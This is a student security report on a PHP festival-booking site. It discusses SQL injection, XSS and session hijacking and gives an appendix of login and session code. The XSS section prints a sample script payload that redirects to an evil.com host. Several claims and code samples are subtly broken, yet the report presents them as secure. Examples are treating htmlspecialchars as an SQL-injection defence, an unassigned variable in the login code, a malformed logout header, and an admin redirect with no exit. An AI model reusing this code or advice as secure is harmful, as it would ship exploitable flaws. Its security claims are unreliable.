**Academic security report**

**A critical evaluation of T’s Festivals’ security posture**

***by Myran Teasdale (Northumbria University)***

***March 2024***

***Wordcount: ~1095 (not including code snippets and references)***

Contents

[Abstract 2](#_Toc162375335)

[Literature Review 2](#_Toc162375336)

[SQL Injection 2](#_Toc162375337)

[XSS Attacks 4](#_Toc162375338)

[Session Hijacking 4](#_Toc162375339)

[Conclusion 6](#_Toc162375340)

[Improvements 6](#_Toc162375341)

[References 7](#_Toc162375342)

[Appendix – PHP Scripts 9](#_Toc162375343)

[Session Hijacking Prevention 9](#_Toc162375344)

[Secure Login Function 10](#_Toc162375345)

[Check if Admin 12](#_Toc162375346)

# Abstract

This academic security report critically evaluates T’s Festivals' security posture, focusing on some key vulnerabilities including SQL Injection, Cross-Site Scripting (XSS) attacks, and Session Hijacking. The report explains the importance of web application security in the digital age and highlights the significant threats posed by these cyber-attacks. Through its literature review, SQL Injection on backend databases and protecting sensitive information is discussed. It also investigates XSS vulnerabilities, detailing how attackers inject malicious scripts into trusted websites and redirect users to malicious sites and how T’s Festivals prevents this. Furthermore, the report addresses the critical issue of session hijacking, outlining preventive measures taken by T’s Festival.

# Literature Review

## SQL Injection

Website security is more important than ever in today’s digital age. From protecting businesses compliance and private information to enhancing user experience and preventing service interruptions it is the job of a web developer to ensure certain cyber security principles are adhered to. Structured Query Language (SQL) Injection is one such cyber-attack that can threaten a website's security posture by executing malicious queries in its backend database thereby allowing an attacker to change the fundamental behaviour of a business application (Shehu & Xhuvani, 2014) or even access sensitive information that they would otherwise not be able to view (Halfond, et al, 2006). The concept of an SQL Injection attack is simple and well understood as poor or insufficient input validation, particularly through web forms. Addressing this problem is a top priority for developers and there are nowadays rigorous and systematic applications of defensive coding practices (Halfond, et al, 2006).

One such method would be to validate the data types and reject any input that contains digits or special characters that might otherwise be malicious scripts. The htmlspecialchars() function replaces any special characters with HTML entities, such as &lt; for < and &gt; for >. By doing so, the executable command that a malicious attacker may have entered is converted into plain text to ensure it is not executed by the server (Shehu & Xhuvani, 2014). One example used in the development of T’s Festivals was to utilise the strlen() and trim() functions to check the length of a particular input and to remove whitespaces that may have been added to the input boxes. An example of this in use is strlen(trim($\_REQUEST["password"])) < 8 which is checking the customer's password is less than 8 characters. By assuring passwords are longer than 8 characters it will provide a more secure login experience. Trimming whitespace will also ensure passwords are saved in the database with more integrity creating a more positive user experience. Another input sanitisation used is the filter\_var() function with the FILTER\_ VALIDATE \_EMAIL filter: $email = filter\_var($email, FILTER\_ VALIDATE \_EMAIL). Passing the input through an inbuilt PHP filter will effectively remove all characters except letters, digits and !#$%&'\*+-=?^\_`{|}~@.[]. This makes it less likely for attackers to be able to leverage SQL Injection (Shehu & Xhuvani, 2014).

**Code snippet:**

if (empty(trim($\_REQUEST["customer\_email"]))) {

$email\_err = "Please enter an email";

} else {

$email = htmlspecialchars($\_REQUEST["customer\_email"]);

$filtered\_email = filter\_var($email, FILTER\_VALIDATE\_EMAIL);

…

Figure 1: PHP script that validates an email address using FILTER\_VALIDATE

Other methods used in T’s Festivals were prepared statements and the bind command which create a more secure environment when executing queries to prevent crafted SQL injection attacks.

**Code snippet:**

$sqlQuery = "UPDATE customers SET customer\_forename = ?, customer\_surname = ?, customer\_email = ?, date\_of\_birth = ? WHERE customerID = ?";

mysqli\_stmt\_bind\_param($stmt, "ssssi", $customer\_forename, $customer\_surname, $customer\_email, $date\_of\_birth, $customerID);

Figure 2: PHP script that uses bound parameters to securely execute an SQL query.

## XSS Attacks

Cross-site scripting (XSS) is a critical security vulnerability that affects web applications by allowing attackers to inject malicious scripts into trusted websites - it is one of the most often detected security vulnerabilities when testing web applications (Jayawardana et al. 2023, Hydara, et al 2015). The typical attack vector will be when an attacker inserts malicious code into an input box that does not neutralise or validate it correctly, therefore leading to the web application to run unintended blocks of code that could, for example, direct a user to another malicious website (Hydera et al 2015).

Take the scenario of creating a user account on a website. The attacker inserts *Hello! <script type="text/javascript">location.href='http://www.evil.com/maliciousFile.php'</script>*. Now, when a backend developer or super user of the site checks the database of accounts The JavaScript code in the <script> tags is executed and the user is redirected to the URL 'http://www.evil.com/ *maliciousFile*.php' which could contain a payload of a more damaging piece of software that automatically downloads to the user's machine. A simple way to prevent the JavaScript code from running is to use the htmlspecialchars() function similar to preventing an SQL injecting attack which would, in summary, ensure that special characters are safely represented in HTML, preventing unintended rendering of scripts and other security vulnerabilities relating to the backend database.

**Code snippet:**

$firstname = htmlspecialchars($firstname);

$username = htmlspecialchars($username);

Figure 3: PHP code that strips inputs of special characters to prevent injection/XSS attack.

## Session Hijacking

Due to the nature of T’s Festivals and the use of financial purchases the hijacking of web sessions by malicious users is a top priority. Session hijacking involves unauthorised access to a user's session, allowing attackers to impersonate legitimate users and potentially gain access to sensitive information (Ogundele et al. 2020) and perhaps even carry out a purchase illegally. Therefore, the website utilises session variables to store user agent and IP address information to prevent the user from injecting a session ID into the page header and taking over another user's session.



*Figure 4: Session ID Cookie from a logged-in user*

The code below shows that when the user's IP address and agent are different to that contained in their session variables it will immediately unset and destroy the session using the session\_unset(); and session\_destroy(); respectively.

**Code snippet:**

if (isset($\_SESSION['ip\_address']) && $\_SERVER['REMOTE\_ADDR'] != $\_SESSION['ip\_address']) {

session\_unset();

session\_destroy();

}

Figure 5: PHP script that validates an email address using FILTER\_VALIDATE

Another feature is the auto logout after timeout. By creating a sessionExpire() function to check the user's time since logged in and checking it against a timeout variable it is possible to automatically log a user out to prevent other users from taking over the session using their device.

**Code snippet:**

function sessionExpire(){

// set timeout period in seconds

$inactive = 720; // 12 minutes

$session\_life = time() - $\_SESSION['timeout'];

if($session\_life > $inactive) {

session\_destroy();

header('logout.php?status=inactive');

}

}

Figure 6: PHP script that logs user out after a specific timeframe.

# Conclusion

T's Festivals has been developed to protect against prevalent security threats such as SQL Injection, XSS attacks, and Session Hijacking (Maha et al. 2022, Jayawardana et al. 2023, Ogundale, 2020). By implementing defensive coding practices, including input validation and sanitisation techniques such as htmlspecialchars(), strlen(), trim(),filter\_var(), and password\_hashing, the website ensures the integrity of user inputs and saved data in the backend database. Prepared statements secure the application from SQL Injection attacks, and XSS vulnerabilities are mitigated through the encoding of special characters, preventing malicious script execution. Session security is enhanced by storing user agent and IP address information in session variables, with mechanisms to unset and destroy sessions upon IP and user agent anomaly detection.

## Improvements

The obvious next steps in development would include regularly updating and patching the website's software components, such as PHP, MySQL, and phpMyAdmin, to address any known vulnerabilities. I would then make things even more modular by creating more functions to reduce and reuse code. Alongside this, to take the website live then HTTPS encryption would need to be implemented to protect data in transit and consideration of encrypting data at rest for added security, especially banking details.

# References

Beaver, K. (2008) The Essentials of Web Application Threat Modeling, TechTarget[online]. Available at: <https://web.archive.org/web/20210119213318/https://searchsoftwarequality.techtarget.com/tip/The-essentials-of-Web-application-threat-modeling> (accessed 19 March 2024).

Halfond W, Viegas J, and Orso A. “A Classification of SQL Injection Attacks and Countermeasures” Available at: <https://sites.cc.gatech.edu/fac/Alex.Orso/papers/halfond.viegas.orso.ISSSE06.pdf> (accessed 15 March 2024).

Hydara, I. et al. (2015) ‘Current state of research on cross-site scripting (XSS) – A systematic literature review’, Information and Software Technology, 58, pp. 170–186. doi:10.1016/j.infsof.2014.07.010.

Jayawardana, Hansaka & Uyanahewa, Madhavi & Hapugala, Venura & Thilakarathne, Thiyuni. (2023). An Analysis of XSS Vulnerabilities and Prevention of XSS Attacks in Web Applications. 10.13140/RG.2.2.21854.00321.

Maha A, Alghazzawi D, and Alarifi S. (2022). "Detection of SQL Injection Attack Using Machine Learning Techniques: A Systematic Literature Review" Journal of Cybersecurity and Privacy 2, no. 4: 764-777. <https://doi.org/10.3390/jcp2040039> (accessed 19 March 2024).

Manico, J. et al. (no date) Cross-site scripting (XSS), Cross Site Scripting (XSS) | OWASP Foundation. Available at: <https://owasp.org/www-community/attacks/xss/> (Accessed: 20 March 2024).

Ogundele, Israel & O.Akinade, Abigail & Alakiri, Harrison. (2020). Detection and Prevention of Session Hijacking in Web Application Management. IJARCCE. 9. 1-10. 10.17148/IJARCCE.2020.9601. (accessed 24 March 2024).

OWASP (2022) OWASP Top Ten, Open Web Application Security Project [online].Available at: https://owasp.org/www-project-top-ten (accessed 24 March 2024).

Shehu B, Xhuvani A (2014). A Literature Review and Comparative Analyses on SQL Injection: Vulnerabilities, Attacks and their Prevention and Detection Techniques. IJCSI International Journal of Computer Science Issues, Vol. 11, Issue 4, No 1, July 2014 ISSN (Print): 1694-0814 | ISSN (Online): 1694-0784 [www.IJCSI.org](http://www.IJCSI.org) (Accessed: 21 March 2024

Shea, S. (2022) How to prevent SQL Injection with prepared statements: TechTarget, Security. Available at: <https://www.techtarget.com/searchsecurity/feature/How-to-prevent-SQL-injection-with-prepared-statements> (Accessed: 12 March 2024).

Team, S.J. (2022) How to prevent SQL injection vulnerabilities: How prepared statements work, Security Journey. Available at: <https://www.securityjourney.com/post/how-to-prevent-sql-injection-vulnerabilities-how-prepared-statements-work> (Accessed: 26 March 2024).

# Appendix – PHP Scripts

### Session Hijacking Prevention

This code checks for various fields to be set (isset[‘’]) such as the user’s timeout status, user agent, and IP address and acts accordingly given the logic.

// check to see if $\_SESSION['timeout'] so we can auto log out a user after specific time

if(isset($\_SESSION['timeout'])) {

sessionExpire();

}

// Redirect to user dash if not admin

if (!isset($\_SESSION["isAdmin"]) || $\_SESSION["isAdmin"] !== 1) {

header("location: dashboard.php");

}

// Does IP / user agent match - stops session hijacking

if (isset($\_SESSION['ip\_address']) && $\_SERVER['REMOTE\_ADDR'] != $\_SESSION['ip\_address']) {

session\_unset();

session\_destroy();

}

if (isset($\_SESSION['user\_agent']) && $\_SERVER['HTTP\_USER\_AGENT'] != $\_SESSION['user\_agent']) {

session\_unset();

session\_destroy();

}

We can then use SESSION variables to assign a time, IP address, and user agent.

$\_SESSION["user\_agent"] = $\_SERVER["HTTP\_USER\_AGENT"];

$\_SESSION["ip\_address"] = $\_SERVER["REMOTE\_ADDR"];

$\_SESSION['timeout'] = time();

### Secure Login Function (Prevent SQL Injection)

In this code snippet it is possible to see the use of filters, input validation, and password hashing to secure the user’s data when logging into the website. It also uses prepared statements which prevents SQL Injection attacks.

// Check if form submitted via php self POST

if($\_SERVER["REQUEST\_METHOD"] == "POST") {

// validate the email

if (empty(trim($\_REQUEST["customer\_email"]))) {

$email\_err = "Please enter an email";

} else {

$email = filter\_var($email, FILTER\_SANITIZE\_EMAIL);

}

// validate the password

if (empty(trim($\_REQUEST["password"]))) {

$passw\_err = "Please enter a password";

} else {

$passw = trim($\_REQUEST["password"]);

}

if (empty($email\_err) && empty($passw\_err)) {

// Prepare an SQL statement to get users emails

$sqlQuery = "SELECT customerID, customer\_email, password\_hash, isAdmin FROM customers WHERE customer\_email = ?";

if ($stmt = mysqli\_prepare($conn, $sqlQuery)) {

mysqli\_stmt\_bind\_param($stmt,"s", $\_POST["customer\_email"]);

// Attempt to execute the statement

if (mysqli\_stmt\_execute($stmt)) {

// Store result if statement can execute

mysqli\_stmt\_store\_result($stmt);

if (mysqli\_stmt\_num\_rows($stmt) > 0) { // Check if rows grater than 0 so we know we have a match

mysqli\_stmt\_bind\_result($stmt, $customerID, $customer\_email, $password\_hash, $isAdmin);

if (mysqli\_stmt\_fetch($stmt)) {

if (password\_verify($passw, $password\_hash)) {

// Password is correct, so start a new session

session\_start();

// Store data in session variables

$\_SESSION["logged\_in"] = true;

$\_SESSION["customer\_Id"] = $customerID;

$\_SESSION["customer\_email"] = $email;

//check if administrator & redirect to different page

$\_SESSION["isAdmin"] = $isAdmin;

//Get IP / User Agent to prevents session hijacking

$\_SESSION["user\_agent"] = $\_SERVER["HTTP\_USER\_AGENT"];

$\_SESSION["ip\_address"] = $\_SERVER["REMOTE\_ADDR"];

$\_SESSION['timeout'] = time();

// Redirect user to the appropriate page depending on user type (admin/customer)

if ($\_SESSION["isAdmin"] == 1) {

header("location: admin.php");

} else {

header("location: dashboard.php");

}

exit;

} else {

// Username doesn't exist, display a generic error message

$login\_err = "Invalid username or password.";

}

}

} else {

// Username doesn't exist, display a generic error message

$login\_err = "Invalid username or password.";

}

} else {

echo "error. something went wrong.";

}

// Close

mysqli\_stmt\_close($stmt);

### Check if Admin

This script will check on login if the user is an admin or not based on their status ion the Database. If they are, it will redirect to a super user dashboard.

if(isset($\_SESSION["logged\_in"]) && $\_SESSION["logged\_in"] === true){

if (isset($\_SESSION["isAdmin"]) && $\_SESSION["isAdmin"] === 1) {

header("location: admin.php");

}

else{

header("location: dashboard.php");

}

}

### Trimming and html

The use of trim and htmlspecialchars in order to remove certain script tags and whitespace for more robust validation.

if(empty(trim($\_REQUEST["customer\_surname"])))

$sname\_err = "Surname cannot be blank";

} else {

$surname = htmlspecialchars($surname);

}